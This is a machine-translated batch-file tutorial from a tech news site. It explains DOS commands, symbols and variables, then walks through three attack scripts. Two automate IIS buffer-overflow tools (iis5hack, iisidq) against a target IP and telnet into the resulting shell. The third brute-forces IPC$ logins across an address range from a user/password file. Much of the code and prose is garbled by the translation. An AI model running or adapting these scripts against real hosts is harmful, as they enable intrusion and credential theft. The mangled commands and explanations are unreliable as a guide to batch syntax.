Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Summarize some dos/bat batch tutorials

2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article mainly explains the "summary of some dos/bat batch processing tutorials", the article explains the content is simple and clear, easy to learn and understand, the following please follow the editor's ideas slowly in-depth, together to study and study "summarize some dos/bat batch processing tutorials"!

Part one: special commands for batch processing

A batch file is a collection of commands in a certain order into an executable text file with the extension BAT. These commands are collectively referred to as batch commands, so let me introduce you to batch commands.

1 、 REM

REM is a comment command that is generally used to annotate a program, and the contents of the command will not be displayed and executed when the program is executed. Example:

REM what you see now is a comment, and this sentence will not be executed. Everything explained in later examples will be followed by REM after REM. May I have your attention please.

2 、 ECHO

ECHO is an echo command. The main parameters are OFF and ON, and ECHO message is usually used to display a specific message. Example:

Echo off

Rem or above means that the echo is turned off and the command executed is not displayed.

Echo, this is the news.

Rem and above show the characters "this is the message"

Execution result:

C:\ > ECHO.BAT

This is the news.

3 、 GOTO

GOTO means to jump. In batch processing, it is allowed to build a label with ": XXX" and then execute the labeled command directly with the GOTO: label. Example

: LABEL

REM is marked with the name LABEL.

DIR C:\

DIR D:\

GOTO LABEL

REM the above program jumps to the label LABEL to continue.

4 、 CALL

The CALL command can invoke another batch during batch execution, and then continue to execute the original batch after the other batch has been executed. Example:

The batch 2.BAT content is as follows:

ECHO, that's what 2 is all about.

The batch 1.BAT content is as follows:

ECHO, this is the content of 1.

CALL 2.BAT

The contents of ECHO 1 and 2 are all displayed.

The implementation results are as follows:

C:\ > 1.BAT

This is the content of 1.

That's what 2 is all about.

The contents of 1 and 2 are all displayed.

5 、 PAUSE

PAUSE stops the execution of the system command and displays the following. Example:

C:\ > PAUSE

Please press any key to continue. . .

6 、 IF

The syntax format of IF conditional judgment statement is as follows:

IF [NOT] ERRORLEVEL number command

IF [NOT] string1==string2 command

IF [NOT] EXIST filename command

Description:

[NOT] inverts the returned result, that is, the meaning of "if not".

ERRORLEVEL is the exit value returned after the command execution is completed.

The numeric value of the Number exit value ranges from 0,255. The order of judging time values should be from large to small. The condition holds when the returned value is greater than or equal to the specified value.

String1==string2 string1 and string2 are both character data, and the case of English characters will be regarded as different. The equal sign in this condition must be 2 (absolutely equal). If you want to wait, execute the following command.

EXIST filename means the existence of a file or directory.

The statement IF ERRORLEVEL must be placed after a command. After the command is executed, the IF ERRORLEVEL determines the return value of the command.

Example:

1 、 IF [NOT] ERRORLEVEL number command

Check the return value after the execution of the command to make a judgment.

Echo off

Dir z:

If the rem exit code is 1 (unsuccessful), jump to header 1 and execute it.

IF ERRORLEVEL 1 goto 1

If the exit code of rem is 0 (successful), jump to header 0 and execute it.

IF ERRORLEVEL 0 goto 0

: 0

The echo command was executed successfully!

After the execution of the Rem program, jump to the title exit and exit.

Goto exit

: 1

Failed to execute the echo command!

After the execution of the Rem program, jump to the title exit and exit.

Goto exit

: exit

Rem, this is the exit of the program.

2 、 IF string1==string2 command

Detect the value of the current variable to make a judgment

ECHO OFF

IF 1 thanks 2 goto no

Echo variables are equal!

Goto exit

: no

Echo variables are not equal

Goto exit

: exit

You can look at the effect C:\ > test.bat numbers this way.

3 、 IF [NOT] EXIST filename command

Find a specific document to make a judgment

Echo off

IF not EXIST autoexec.bat goto 1

Echo file exists successfully!

Goto exit

: 1

Echo file does not exist failure!

Goto exit

: exit

This batch can be executed on disk c and disk d respectively to see the effect.

7 、 FOR

FOR is a special command that executes commands in a loop. at the same time, FOR can be used in the loop of FOR. In this article, we introduce the basic usage instead of the applied loop, and we will explain the applied loop later. The command for FOR in a batch is as follows:

FOR [% c] IN (set) DO [command] [arguments]

The command on the command line is as follows:

FOR [% c] IN (set) DO [command] [arguments]

Common parameters:

/ L this set represents a sequence of numbers from beginning to end in increments. Therefore, (1) the sequence 1 2 3 4 5 will be produced, and the sequence 5 4 3 2 1 will be generated (5 4 3 21).

/ D if the set contains wildcards, the assignment matches the directory name, not the file name.

/ F reads data from the specified file as a variable

Eol=c-refers to the end of a line comment character (just one)

Skip=n-refers to the number of lines ignored at the beginning of the file.

Delims=xxx-refers to the delimiter set. This replaces the default delimiter set of spaces and tabbed keys.

Tokens=x,y,m-n-refers to which symbol of each line is passed to the for itself of each iteration. This results in the allocation of additional variable names. The mmurn format is a range. Specify the mth through the nth symbol. If the last character in the symbol string is an asterisk, the additional variable is assigned and accepts the reserved text of the line after the last symbol is parsed.

Usebackq-specifies that the new syntax has been used in the following cases: when a string is executed as a command and a single quote character is a text string command and allows the file name to be expanded with double quotes in filenameset.

Let's look at an example:

FOR / F "eol=; tokens=2,3* delims=," I in (myfile.txt) do @ echo I j k

Each line in myfile.txt is parsed, those that begin with a semicolon are ignored, and the second and third symbols in each line are passed to the body of the for program; delimited with commas and / or spaces. Note that the statement in this for body refers to% I to get the second symbol,% j to get the third symbol, and% k to get all the remaining symbols after the third symbol. For file names with spaces, you need to enclose the file name in double quotes. To use double quotes in this way, you also need to use the usebackq option; otherwise, double quotes are understood to be used to define a string to be parsed.

% I is specified specifically in the for statement, and% j and% k are specified through the tokens= option. You can specify up to 26 symbols on a tokens= line, as long as you don't try to specify a variable higher than the letter'z'or'Z'. Keep in mind that FOR variable names are case-sensitive and cannot have more than 52 in use at the same time.

You can also use FOR / F parsing logic on adjacent strings by enclosing the filenameset between parentheses in single quotation marks. In this way, the string is treated as a single input line in a file. Finally, you can analyze the output of the command with the FOR / F command. The way to do this is to change the filenameset between the parentheses into an anti-parenthesis string. The string is passed to a child CMD.EXE as a command line, and its output is grabbed into memory and parsed as a file. Therefore, the following examples:

FOR / F "usebackq delims=="% I IN (`set`) DO @ echo% I

Enumerates the environment variable names in the current environment.

The following is a simple example that will illustrate the difference between parameter / L and no parameter:

Delete the file 1.TXT 2.TXT 3.TXT 4.TXT 5.TXT

Example:

ECHO OFF

FOR / L% F IN (1meme 1meme 5) DO DEL% F.TXT

Or

FOR% F IN (1pm 2pm 3pm 4pm 5) DO DEL% F.TXT

The results of the above two commands are the same as follows:

C:\ > DEL 1.TXT

C:\ > DEL 2.TXT

C:\ > DEL 3.TXT

C:\ > DEL 4.TXT

C:\ > DEL 5.TXT

8 、 SETLOCAL

Start the localization of environment changes in the batch file. After performing the SETLOCAL

Environmental changes are limited to batch files. To restore the previous settings, you must implement the

OK, ENDLOCAL. When the end of the batch file is reached, for each of the batch file

For SETLOCAL commands that have not yet been executed, there will be an implied ENDLOCAL

Execute. Example:

@ ECHO OFF

SET PATH / * look at the environment variable PATH

PAUSE

SETLOCAL

SET PATH=E:\ TOOLS / * reset the environment variable PATH

SET PATH

PAUSE

ENDLOCAL

SET PATH

From the above example, we can see that the environment variable PATH is the system default path when it is first displayed. It is set to E:\ TOOLS and displayed as E:\ TOOLS, but when ENDLOCAL, we can see that it has been restored to the default path of the system. However, this setting works only when the batch is running. The environment variable PATH will be restored when the batch run is complete.

9 、 SHIFT

The SHIFT command allows commands on a command to use more than 10 (% 0% 9) alternative parameters:

ECHO OFF

ECHO 1 2 3 4 5 6 7 8 9

SHIFT

ECHO 1 2 3 4 5 6 7 8 9

SHIFT

ECHO 1 2 3 4 5 6 7 8 9

The implementation results are as follows:

SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

1 2 3 4 5 6 7 8 9

2 3 4 5 6 7 8 9 10

3 4 5 6 7 8 9 10 11

These are the nine batch commands based on WIN2000.

Part II: special symbols and batch processing

Some symbols are not allowed under the command line, but some symbols have a special meaning.

1. Symbol (@)

@ in batch means to turn off the echo of the current line. We know from the above that you can turn off the echo of the entire batch command with the command echo off, but you have to show the command echo off. Now we add @ to this command so that the echo off command is turned off and echo is turned off to meet the requirement that all commands do not return.

2. Symbol (>)

> means to pass and overwrite. His role is to pass the run echo result to the following scope (followed by the file is also the default system console) example:

The contents of the file 1.txt are:

1-1

Use the command c:\ > dir * .txt > 1.txt

At this time, the content of 1.txt is as follows.

The volume in drive C has no label.

The serial number of the volume is 301A-1508

Directory of C:\

2003-03-11 14:04 1005 FRUNLOG.TXT

2003-04-04 16:38 18598494 log.txt

2003-04-04 17:02 5 1.txt

2003-03-12 11:43 0 aierrorlog.txt

2003-03-30 00:35 30571 202.108.txt

5 files 18630070 bytes

0 directories 1191542784 free bytes

Overwrite the original file content with the result of the command execution.

The program will not have any echo when it is passed to the console. (note: the echo here is not the same concept as the echo turned off by echo off. Echo off turns off the echo of input commands. The echo here is the echo during or after the execution of the program) example:

C:\ > dir * .txt > nul

The program will not show anything and will not produce any trace.

3. Symbol (> >)

The function of symbol > > is similar to that of symbol >, but the difference is that > > is passed and appended to the end of the file > can also pass the echo to the console (the usage is the same as above) example:

The file 1.txt is the same as:

1-1

Use the command c:\ > dir * .txt > > 1.txt

At this time, the content of 1.txt is as follows.

1-1

The volume in drive C has no label.

The serial number of the volume is 301A-1508

Directory of C:\

2003-03-11 14:04 1005 FRUNLOG.TXT

2003-04-04 16:38 18598494 log.txt

2003-04-04 17:02 5 1.txt

2003-03-12 11:43 0 aierrorlog.txt

2003-03-30 00:35 30571 202.108.txt

5 files 18630070 bytes

0 directories 1191542784 free bytes

The result of the execution of the command is overwritten to the content of the original file.

4. Symbol (|)

| it is a pipeline transfer command, which means passing the result of the previous command to the next command for processing. Example:

C:\ > dir c:\ | find "1508"

The serial number of the volume is 301A-1508

The above command means to find all of c:\ and find the 1508 string. For the use of Find, please use find /? Check by yourself

This is how I automatically format the disk when I don't use the automatic format parameter of format.

Echo y | fornat a: / s / Q / v:system

Anyone who has used the format command knows that format has an interactive process that requires the user to enter y to determine whether the current command is executed. Add echo y before this command and use the pipe transport character | pass the result y of echo execution to format to achieve the purpose of manually entering y (this command is harmful, please be careful when testing)

5. Symbol (^)

^ is for special symbols >, echo test ^ > 1.txt

Test > 1.txt

As you can see from the above, instead of writing test to the file 1.txt, test > 1.txt is displayed as a string. This symbol is very effective when building batches remotely.

6. Symbol (&)

The & symbol allows you to use more than two different commands on one line, and the failure of the first command will not affect the execution of the second command. Example:

C:\ > dir z:\ & dir y:\ & dir c:\

The above command will continuously display the contents of z: y: C: regardless of whether the letter exists or not.

7. Symbols (& &)

The & & symbol also allows the use of more than two different commands on one line, and subsequent commands will not be executed when the first command fails. Example:

C:\ > dir z:\ & & dir y:\ & & dir c:\

The above command will prompt to check if there is a z: disk, execute if it does, and stop executing all subsequent commands if it does not exist.

8. Symbol (")

The "" symbol allows you to include spaces in a string. To enter a special directory, you can use the following methods:

C:\ > cd "Program Files"

C:\ > cd progra~1

C:\ > cd pro*

You can enter the Program Files directory for all the above methods.

9. Symbol (,)

The symbol is equivalent to a space In some special cases, it can be used instead of spaces. Example:

C:\ > dir,c:\

10. Symbol (;)

Symbols can be used for different targets when the commands are the same; isolated but the execution effect remains the same. If an error occurs during execution, only the error report is returned, but the program continues to execute. Example:

DIR C:\; D:\; E:\ F:\

The above command is equivalent to

DIR C:\

DIR D:\

DIR E:\

DIR F:\

Of course, there are some special symbols, but their scope of use is very small, I will not explain them here one by one.

Part III: batch processing and variables

The appropriate reference variables in the batch will make your program more applicable. The batch can process a total of 10 variables from% 0% 9 at a time. Where 0 is used by default for the file name of the batch. 0 cannot be replaced by 1 unless you use the SHIFT command. For an example that references the shift command, if you precede% 1 with an extra% 0, the result is as follows:

SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

SHIFT.BAT 1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 9 10 11

How does the system distinguish each variable? the system distinguishes the variable as the space in the middle of the string, that is, whenever a space is found, the character in front of the space is regarded as a variable and the character after the space as another variable. If your variable is a long directory name with spaces in it, you need to circle it with the quotation marks used in the special symbol 8 in the previous section. Example:

The batch processing content is as follows:

ECHO 1

ECHO 2

ECHO 3

Enter the command:

C:\ > TEST "Program Files" Program Files

Program Files

Program

Files

In a complex batch, more than 10 variables may be used at the same time, which will conflict with the rules of the system, so how to solve this problem? There is also a variable in the system called the environment variable (you can use the SET command to view the environment variable of the current system), such as the current system directory is% windir% or% SystemRoot%, and so on. When more than 10 parameters are used at the same time, we can save some variables that will be called in later programs as environment variables. Specific usage such as SET A% 1 so we name a new environment variable A, which is called by% A% when calling variable A, and the environment variable is not affected by the SHIFT command. If you want to change an environment variable, you need to reset it before you can change it. Of course, the transfer between variables can also be carried out to achieve the goal. Let's take a look at an example. The batch process is as follows:

ECHO OFF

SET PASS=%1

SHIFT

SET PASS1=%1

SHIFT

ECHO PASS% PASS1% 2 3 4 5 6 7 8 9

SHIFT

ECHO PASS% PASS1% 9

The transfer of SET PASS=%PASS1% variable

SET PASS1=%9

SHIFT

ECHO PASS% PASS1% 9

Use the command: C:\ > TEST A B 3 4 5 6 7 8 9 10 K L

A B 3 4 5 6 7 8 9 10 K Note: this line shows 11 variables

A B L changed% 9 to L after using SHIFT three times.

The result after the transfer of B / L variable

Part IV: complete case

These are some of the uses of batch processing. Now let's combine these usages and take a detailed analysis of some batches currently posted online to see how they work. Here I will give three examples to analyze in detail, in order to keep the integrity of the program, my comments will be added after / *.

Example one

This example is a batch process that uses iis5hack.exe to overflow a host with a .destroy vulnerability. The programs used are iis5hack.exe and telnet.exe that comes with the system. The command format for iis5hack is:

The target version of iis5hack is 0-9. The 10 numbers correspond to different language versions and system versions of sp. The command format used in our batch processing is optional. The procedure is as follows.

@ echo off / * turn off command echo

If "% 1" = "" goto help / * determines whether% 1 is empty and% 1 is the target ip

If "% 2" = = "1" goto 1 / * determines whether% 2 is 1, if so, jump flag 1

If "% 2" = "2" goto 2 / *% 2 is the starting version number, if not set

If "% 2" = = "3" goto 3 / * if present, execute from where it matches

If "% 2" = = "4" goto 4

If "% 2" = = "5" goto 5

If "% 2" = = "6" goto 6

If "% 2" = = "7" goto 7

If "% 2" = = "8" goto 8

If not EXIST iis5hack.exe goto file / * execute the contents of the flag file segment without finding iis5hack.exe

Ping% 1-n 1 | find "Received = 1" / * ping target once, and Received = 1 is found in the result

If errorlevel 1 goto error / * execute the error segment if the return code is 1 (code 1 is not found 0 is found and executed successfully)

Iis5hack% 1 80 9 88 | find "good" / * starts to overflow the target port 80 after the system code 9 overflows, the connection port 88 finds the string "good" in the execution result (the string good will not be available until the overflow succeeds)

If not errorlevel 1 goto telnet / * executes the contents of the telnet section if there is no error code 1 (overflow successful).

Echo operating system type 9 failed! / otherwise display this sentence

: 8 / * the following code is referred to above

Iis5hack 1 80 8 88 | find "good"

If not errorlevel 1 goto telnet

Echo operating system type 8 failed!

: 7

Iis5hack 1 80 7 88 | find "good"

If not errorlevel 1 goto telnet

Echo operating system type 7 failed!

: 6

Iis5hack 1 80 6 88 | find "good"

If not errorlevel 1 goto telnet

Echo operating system type 6 failed!

: 5

Iis5hack 1 80 5 88 | find "good"

If not errorlevel 1 goto telnet

Echo operating system type 5 failed!

: 4

Iis5hack 1 80 4 88 | find "good"

If not errorlevel 1 goto telnet

Echo operating system type 4 failed!

: 3

Iis5hack 1 80 3 88 | find "good"

If not errorlevel 1 goto telnet

Echo operating system type 3 failed!

: 2

Iis5hack 1 80 2 88 | find "good"

If not errorlevel 1 goto telnet

Echo operating system type 2 failed!

: 1

Iis5hack 1 80 1 88 | find "good"

If not errorlevel 1 goto telnet

Echo operating system type 1 failed!

: 0

Iis5hack 1 80088 | find "good"

If not errorlevel 1 goto telnet

Echo operating system type 0 failed!

Goto error

: telnet

Telnet% 1 88 / * start connecting to port 88 of the target ip

Goto exit / * Jump the exit segment after the connection is interrupted

: the error / * error section displays the help information after the error

Echo may not be able to connect to the network or the other party to fix this vulnerability! Please try it by hand according to the format below!

Echo iis5hack [destination IP] [WEB Port] [system Type] [Open Port]

ECHO English: 0

ECHO Chinese + sp1: 1

ECHO English: 2

ECHO English + sp1: 3

ECHO Japanese: 4

ECHO Japanese + sp1: 5

ECHO Korean: 6

ECHO Korean + sp1: 7

ECHO Mexican: 8

ECHO Mexican + sp1: 9

Goto exit / * Jump exit segment

The file / * file segment shows the information not found in the file

Echo file iis5hack.exe did not find! The program stops running!

Goto exit / * Jump exit segment

The help / * help section shows the format help for using this batch

Echo the usage of this program is as follows:

Echo iis [target ip]

Echo iis [destination ip] [starting number 9-0]

: exit / * exit section is the program exit

There is basically no cycle in this batch, just all the way down. So it is not difficult for the code to be long!

Example two

This example is a batch process that uses iisidq.exe to overflow machines with idq vulnerabilities. The programs used are iisidq.exe and the program telnet.exe that comes with the system. The usage of iisidq.exe is as follows:

Operating parameters: operating system type destination address web port 1 overflow listening port

Where, if the input command parameter is not entered, the default is "cmd.exe".

Where the code range of the operating system type type is 0-14. The command format used in our batch processing is as follows:

@ echo off / * example 1

If not EXIST iisidq.exe goto file / * example 1

If% 1 = "" goto error / * example 1

Ping% 1-n 1 | find "Received = 1" / * example 1

If errorlevel 1 goto error1 / * example 1

Set environment% 1 / * create an environment variable b and pass the contents of the variable% 1 to the environment variable b. The content of variable b will later be the target ip

Set astat0 / * creates an environment variable an and specifies that the environment variable an is 0. Because the whole batch loop is used, an is used as the counter.

: start of no / * no segment

If% a% setting 0 set dail0 / * create the environment variable d and set the environment variable dumb0 if the environment variable aqui0.

If% a% room1 set dail1 / * the environment variable d is actually an operating system type code, which is controlled by a counter.

If% a% change 2 set dong2 / *.

If% a% number 3 set dong3

If% a% set dong4

If% a% customers 5 set dudes 5

If% a% customers 6 set dudes 6

If% a% set daily7

If% a% salary 9 set dong9

If% a% / 10 set dong13

If% a% customers 11 set dudes 14

After the goto 0 / * variable is passed, go to flag 0 and run it.

: 1

Echo is executing item d%! Cannot connect to target% b%! Please wait while trying to connect.

: 0 / * Mark 0 to start

IISIDQ% d% b% 80 1 99 | find "good" / * send the overflow command in format and find the string good in the result (string good will be obtained only if the code is sent successfully)

If errorlevel 1 goto 1 / * if there is no good string, it is not sent as a hop

/ * continue to attempt to send at turn sign 1

Ping 127.0.0.1-n 8 > nul / * ping itself 8 times is equivalent to a delay of 8 seconds.

/ * Line result

Echo is executing item% d%! / * reporting the type of operating system being overflowed

Telnet b99 / * connection overflow port

Echo. / * display a blank line

If% d% upload 14 goto error1 / * Jump to error1 if the operating system type is 14 (loop exit)

If% d% attach 13 set astats 11 / * start re-attaching values to operating system code with counters

If% d% salary 9 set aq10

If% d% salary 7 set astat9

If% d% customers 6 set a7

If% d% subscription 5 set aq6

If% d% subscription 4 set astat5

If% d% subscription 3 set aq4

If% d% subscription 2 set aq3

If% d% subscription 1 set astat2

If% d% salary 0 set aq1

Goto no / * added value completes the jump to no segment execution

: file / * the following are all help tips after an error

Echo IIsidq.exe didn't find out! Put this file in the same directory as this file!

Goto exit

: error

Echo error! The target ip is not recognized! Please use the following format to connect!

Echo idq [target IP]

Goto exit

: error1

The echo connection was not successful! Maybe the target machine has fixed the loophole or network failure!

Please try echo manually according to the following format!

Echo iisidq [target type] [target IP] [target port] [connection method] [overflow port]

Echo telnet [destination ip] [overflow Port]

: exit / * the exit of the whole program

This batch uses the overall loop to master the counter part to master the batch.

Example 3

For / l% an in (0Magne1255) do for / l% b in (0Magne1255) do for / l% c in (1mem1254) do for / f "tokens=1,2*"%% e in (userpass.txt) do net use\\% 1.%%a.%%b.%%c\ ipc$% e / uvu% f

The above command is 1 command. You can see that the command uses four FOR to apply. The usage is: C:\ > TEST.BAT 218When enter 218A, the command will take the initial value of the first for as% a, then continue to take the initial value of the second for as%% b, and then take the initial value of the third for as% c. The last for executes the command with the first character in the userpass.txt as the password% e, the second paragraph character as the user name% f (here I bring all the above values in. Set the password to 123. user name is abc)

Net usr\\ 218.0.0.1\ ipc$ 123 / u:abc

Thank you for your reading, these are the contents of "summing up some dos/bat batch tutorials". After the study of this article, I believe you have a deeper understanding of summarizing some dos/bat batch tutorials, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report